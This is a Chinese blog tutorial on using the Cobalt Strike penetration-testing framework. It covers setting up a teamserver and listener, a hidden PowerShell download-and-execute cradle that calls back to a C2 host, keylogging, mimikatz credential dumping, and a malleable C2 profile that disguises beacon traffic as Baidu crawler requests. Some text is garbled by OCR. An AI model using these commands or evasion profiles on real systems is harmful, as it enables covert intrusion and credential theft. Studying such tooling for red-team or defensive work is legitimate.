Cobalt Strike 的使用及拓展

2024-02-12 06:12
文章标签 使用 拓展 cobalt strike

本文主要是介绍Cobalt Strike 的使用及拓展,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

Cobalt Strike是一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端 口转发、服务扫描、 自动化溢出、多模式端口监听、exe 、PowerShell木马生成

等,主要用于团队作战,能让多个渗透者同时连接到团体服务器上,共享渗透资  源、 目标信息和sessions 。Cobalt Strike作为一款协同APT工具,其针对内网的渗   透测试和作为APT的控制终端的功能,使其变成众多APT组织的首选。运行Cobalt Strike时需要安装好Java环境,可以选择Oracle Java 1.8 、Oracle Java 11或OpenJDK 11进行安装。

Cobalt Strike 的基本架构如下:

── agscript 拓展脚本

── c2lint 检查 c2 通信配置文件错误

── cobaltstrike

── cobaltstrike .auth 认证文件

── cobaltstrike .jar 客户端主程序

── icon .jpg

── license .pdf

── logs 记录 cs 中所有事件,按日期格式区分

── readme .txt

── releasenotes .txt

── teamserver 团队服务器

── teamserver_win .bat

── third-party 第三方模块,下面是 vnc

├── README .winvnc .txt

────  winvnc(winvnc) .(.)x86(x64) .(.)d(d)l(l)l(l)

1.启动团队服务器

启动团队服务器(TeamServer),需要以root身份运行,并且需要添加两个 必选参数。第一个是团队服务器的外部可访问地址,第二个是用于团队成员将

Cobalt Strike客户端连接到团队服务器的密码。本节示例IP为192.168.111.128 ,登 录密码设置为test ,如图11-1所示。

6e635b0443d54d7d99967ff30dade6f2.png

图11-1    启动Cobalt Strike服务

2.连接团队服务器

 

 

 

 

 

b373a019bfa84b9981a5972287e3b4bc.png

图11-2    连接服务

在命令终端运行Cobalt Strike ,填写IP地址为192.168.111.128 ,Cobalt Strike启 动时的默认端口为50050 ,昵称可以根据自己的喜好填写,这里写成neo ,密码为 服务端启动时设置的密码admin ,详细配置信息如图11-2所示。

点击Connect按钮后便成功登录团队服务器。如图11-3所示为成功登录后的  Cobalt Strike运行界面。Cobalt Strike 的主界面主要分为菜单栏、快捷功能区、 目 标列表区、控制台命令输出区和控制台命令输入区。

·菜单栏:集成了Cobalt Strike 的所有功能。

· 快捷功能区:列出了常用功能。

· 目标列表区:根据不同的显示模式,显示已获取权限的主机及目标主机。

·控制台命令输出区:输出命令执行结果。

·控制台命令输入区:用户输入的命令。

 

 

 

 

 

b4c351183d7f448384115a96735f0b78.png

图11-3    登入服务

3.建立Listener

现在可以利用Cobalt Strike获取一个Beacon 。可以通过在菜单栏选择Cobalt Strike →Listeners命令进入Listeners面板,如图11-4所示。

9e43c67f5d8c41fd9c9dc4511237425b.png

图11-4    进入Listeners面板

 

 

 

 

在Listeners面板中点击Add按钮,新建一个监听器,如图11-5所示。

835c8d00790d46f1a415ceed26a2072a.png

图11-5    创建监听器

在弹出的对话框中点击Save按钮后会弹出一个窗口,依次在窗口中输入名

称、监听类型、Cobalt Strike运行服务的IP地址、监听端口号。其中,监听器一共 有9种类型,beacon系列为Cobalt Strike 自带类型,分别有DNS 、HTTP 、HTTPS 、 SMB 、TCP 。foreign系列用于配合外部监听器,可使用其他主机远程控制Cobalt    Strike 中的主机,一般配合MSF使用。这里选择监听器类型为HTTP方式,点击

Save按钮进行保存,如图11-6所示。

 

 

 

 

 

353181aeb403485c8c45741bc32c8f37.png

图11-6    HTTP方式监听

4.生成Payload

这里使用Web Delivery生成一个Payload 。在菜单栏中依次选择Attacks →Web Drive-by → Scripted Web Delivery命令,如图11-7所示。

d65dccd8f0a84b508574a87696dcb3be.png

图11-7    生成Payload

保持默认配置,选择已经创建的监听器,设置类型为powershell ,然后点击 Launch按钮,如图11-8所示。

点击Launch按钮以后,会出现一段powershell类型的Payload代码,如下所

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps263.png&pos_id=XzIWFfVI

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps264.png&pos_id=WFTE4UhW

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps265.png&pos_id=XTHn3dJq

powershell.exe -nop -w hidden -c "IEX ((new-object string('http://192.168.111.128 :80/a'))"

net.webclient) .download

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps266.png&pos_id=F8afjymN

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps267.png&pos_id=e8GJjXGD

05f2c66b3c874b348b83b3d4b8e3a289.png

图11-8    PowerShell方式

395b0a21aba54730bea932bbd3fa4501.png

图11-9    运行命令

执行该命令后便会回连,Cobalt Strike 目标列表中会显示目标服务器IP地址、 出口地址、当前用户、计算机名、当前Beacon的pid号以及响应时间,如图11-10   所示。

 

 

 

 

 

b71a5d0392d14c039fff7fe612101345.png

图11-10    成功回连

Cobalt Strike默认Beacon是60s响应一次。为了方便使用,这里设置成0s 。选  中需要操作的Beacon ,右击,然后选择Interact命令进入主机交互模式,如图11-11 所示。

在控制台命令输出区输入sleep 0命令后,等待60s ,此时便改成了与目标主机 进行实时响应,如图11-12所示。

除了以上的powershell类型反弹Beacon的方式以外,Listeners模块中也集成了 许多其他的Payload形式,如表11-2所示。

d126594cb00747aebda666965b1f36b4.png

图11-11    进入交互模式

 

 

 

 

 

49a745396c784f0186eac885ab2d6f3e.png

图11-12    修改时间

表11-2    Listener模块的所有Payload

d01f21838def4abcb3f2b1ecbe9e68f6.png

5.基本操作

Cobalt Strike工具集成了大量便捷的命令模式,简化了以后渗透攻击过程中复 杂的信息搜集、提权、跳板等一系列操作。例如,可以尝试使用ps命令,或者用  右击并选择Explore →Process list命令的方式查看当前进程,如图11-13和图11-14所 示。

 

 

 

 

 

df250b42272f4a6385fe07c58f3bdd57.png

图11-13    用命令行的方式查看进程

75cca48bf69241deadeba35c9b1e0ee3.png

图11-14    用右击的方式查看进程

使用screenshot命令对目标主机进行截屏,可通过View → Screenshots选项查看 截屏内容,如图11-15所示。

 

 

 

 

 

4898e84f4252416c8cda08282ba5b4b4.png

图11-15    查看截屏内容

同样,在Cobalt Strike 中也可以使用键盘记录功能,如图11-16所示。

47b6796d295b467a97ee05dcaa683c75.png

图11-16    键盘记录

用View →Keystokes选项查看键盘记录,如图11-17所示。

fd404072a4ed4cab966bb2ab8233eb39.png

图11-17    查看键盘记录

Cobalt Strike工具中还加入了mimikatz\logonpasswords等抓取凭证功能,可以 对目标主机进行口令抓取,如图11-18所示。

 

 

 

 

 

3cf0381b48bd41e89c4d3c87dea23ef8.png

图11-18    抓取凭证

Cobalt Strike 中集成的命令还有很多,此处就不一一介绍了,读者可在与目标 的交互界面中输入help或者“ ?”进行查询,执行结果如图11-19所示。

3974c12ef5ed433082bb467f7845888b.png

 

 

 

 

 

图11-19    查看功能信息

6.C2通信配置文件

为了保证通信过程中的数据更加安全可靠,我们也可以通过修改beacon特  征,伪装流量,来使通信更隐蔽,单一团队服务器只能加载一个profile 。这里通 过抓包来看一下Cobalt Strike 的默认通信特征,如下所示。

84369fa300f84f8fa1b769e5932abf9c.png

这里可以通过编写一个简单的C2配置来修改通信特征。我们可以模仿 baiduspider通信,建立一个baidu.profile文件。

1)设置项目名字:

 

set sample_name "Baidu Profile";

2)设置beacon每次回连的时间,系统默认为60s ,为了增加隐蔽性,此处设 置为1000s回连一次,如下所示:

set sleeptime "1000";

3)设置随机抖动时间:

set jitter "17";

4)设置baiduspider的User Agent标识:

set useragent "Mozilla/5 .0 (compatible; Baiduspider/2 .0; +http://www .baidu . com/search/spider .html)";

5)设置beacon http请求事件,这里使用Get方式模仿一个百度搜索的过程:

 

 

 

 

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps284.jpg&pos_id=2wBqKfIY

server {

header "Server" "BWS/1 .0";

header "Set-Cookie" "delPer=0; path=/; domain= .baidu .com"; header "Cache- Control" "private";

header "Connection" "keep-alive";

header "Content-Encoding" "gzip";

header "Content-Type" "text/html;charset=utf-8";

header "Vary" "Accept-Encoding";

output {

prepend "<div><div id=\"__status\">-12</div><div id=\"__redirect\">0</div><div id=\"__switchtime\">0</div><div id=\"__querySign\">e95d0ebc1edd32aa</

div><script id=\"__sugPreInfo\">{\"prefix\" :\"ss\",\"presearch\" :\"0\", \"query\" : \"ss\",\"sug\" :\"\",\"ps\" :\"0 .000611\",\"ss\" :\"0 .000000\", \"debug\ " :\"0232\",\"wd\" :";

append "}</script></div>";

print;

}

}

client {

header "Accept" "*/*";

header "Accept-Language" "en,zh-CN;q=0 .9,zh;q=0 .8"; header "Host" "www .

baidu .com";

header "s_referer" "https://www .baidu .com/";

metadata {

mask;

base64url;

parameter "isid";

}

} }

6)使用Post的方式模拟百度搜索:

http-post {

set uri "/s/ie=utf-8&newi=1&mod=11&isbd=1";

server {

header "Server" "BWS/1 .0";

header "Set-Cookie" "delPer=0; path=/; domain= .baidu .com"; header "Cache- Control" "private";

header "Connection" "keep-alive";

header "Content-Encoding" "gzip";

header "Content-Type" "text/html;charset=utf-8";

header "Vary" "Accept-Encoding";

output {

prepend "<div><div id=\"__status\">-12</div><div id=\"__redirect\">0</div><div id=\"__switchtime\">0</div><div id=\"__querySign\">e95d0ebc1edd32aa</

div><script id=\"__sugPreInfo\">{\"prefix\" :\"ss\",\"presearch\" :\"0\", \"query\" : \"ss\",\"sug\" :\"\",\"ps\" :\"0 .000611\",\"ss\" :\"0 .000000\", \"debug\ " :\"0232\",\"wd\" :";

append "}</script></div>";

print;

}

}

client {

header "Accept" "*/*";

header "Accept-Language" "en,zh-CN;q=0 .9,zh;q=0 .8"; header "Host" "www .

baidu .com";

header "s_referer" "https://www .baidu .com/";

id {

parameter "isid";

}

output {

mask;

base64url;

print;

 

最后使用c2lint检查C2配置,如下所示。

80e966d55fc14484b385a1a48d85a69d.png

使用团队服务器加载刚刚编写好的C2配置文件,如下所示:

0d4e2aa6677a41a9a4e467043db6a977.png

加载完成后反弹一个shell看一下实际效果,如下所示:

c0f67640586242c4b75b8e4de9caf31a.png

使用Wireshark抓取数据包,查看通过C2配置文件后的流量情况,如图11-20

 

 

 

 

 

和图11-21所示。

b50749049a044edf8a99d8693ec3ddf1.png

图11-20    抓取的数据位置

92269c531717433bb63af5d904e359cd.png

图11-21    抓包的数据

通过抓取的数据包可以发现,所有流量都通过刚刚编写的文件进行了修改, 从而增加了shell的隐秘性。

 

 

这篇关于Cobalt Strike 的使用及拓展的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/701852

相关文章

中文分词jieba库的使用与实景应用(一)

知识星球:https://articles.zsxq.com/id_fxvgc803qmr2.html 目录 一.定义: 精确模式(默认模式): 全模式: 搜索引擎模式: paddle 模式(基于深度学习的分词模式): 二 自定义词典 三.文本解析   调整词出现的频率 四. 关键词提取 A. 基于TF-IDF算法的关键词提取 B. 基于TextRank算法的关键词提取

使用SecondaryNameNode恢复NameNode的数据

1)需求: NameNode进程挂了并且存储的数据也丢失了,如何恢复NameNode 此种方式恢复的数据可能存在小部分数据的丢失。 2)故障模拟 (1)kill -9 NameNode进程 [lytfly@hadoop102 current]$ kill -9 19886 (2)删除NameNode存储的数据(/opt/module/hadoop-3.1.4/data/tmp/dfs/na

Hadoop数据压缩使用介绍

一、压缩原则 (1)运算密集型的Job,少用压缩 (2)IO密集型的Job,多用压缩 二、压缩算法比较 三、压缩位置选择 四、压缩参数配置 1)为了支持多种压缩/解压缩算法,Hadoop引入了编码/解码器 2)要在Hadoop中启用压缩,可以配置如下参数

Makefile简明使用教程

文章目录 规则makefile文件的基本语法:加在命令前的特殊符号:.PHONY伪目标: Makefilev1 直观写法v2 加上中间过程v3 伪目标v4 变量 make 选项-f-n-C Make 是一种流行的构建工具,常用于将源代码转换成可执行文件或者其他形式的输出文件(如库文件、文档等)。Make 可以自动化地执行编译、链接等一系列操作。 规则 makefile文件

康拓展开(hash算法中会用到)

康拓展开是一个全排列到一个自然数的双射(也就是某个全排列与某个自然数一一对应) 公式: X=a[n]*(n-1)!+a[n-1]*(n-2)!+...+a[i]*(i-1)!+...+a[1]*0! 其中,a[i]为整数,并且0<=a[i]<i,1<=i<=n。(a[i]在不同应用中的含义不同); 典型应用: 计算当前排列在所有由小到大全排列中的顺序,也就是说求当前排列是第

使用opencv优化图片(画面变清晰)

文章目录 需求影响照片清晰度的因素 实现降噪测试代码 锐化空间锐化Unsharp Masking频率域锐化对比测试 对比度增强常用算法对比测试 需求 对图像进行优化,使其看起来更清晰,同时保持尺寸不变,通常涉及到图像处理技术如锐化、降噪、对比度增强等 影响照片清晰度的因素 影响照片清晰度的因素有很多,主要可以从以下几个方面来分析 1. 拍摄设备 相机传感器:相机传

pdfmake生成pdf的使用

实际项目中有时会有根据填写的表单数据或者其他格式的数据,将数据自动填充到pdf文件中根据固定模板生成pdf文件的需求 文章目录 利用pdfmake生成pdf文件1.下载安装pdfmake第三方包2.封装生成pdf文件的共用配置3.生成pdf文件的文件模板内容4.调用方法生成pdf 利用pdfmake生成pdf文件 1.下载安装pdfmake第三方包 npm i pdfma

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合,内部除了存储元素外,还会存储一个score,存储在zset中的元素会按照score的大小升序排列,不同元素的score可以重复,score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库:创建新文件夹,进入文件夹目录,执行指令 git init ,用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的

【北交大信息所AI-Max2】使用方法

BJTU信息所集群AI_MAX2使用方法 使用的前提是预约到相应的算力卡,拥有登录权限的账号密码,一般为导师组共用一个。 有浏览器、ssh工具就可以。 1.新建集群Terminal 浏览器登陆10.126.62.75 (如果是1集群把75改成66) 交互式开发 执行器选Terminal 密码随便设一个(需记住) 工作空间:私有数据、全部文件 加速器选GeForce_RTX_2080_Ti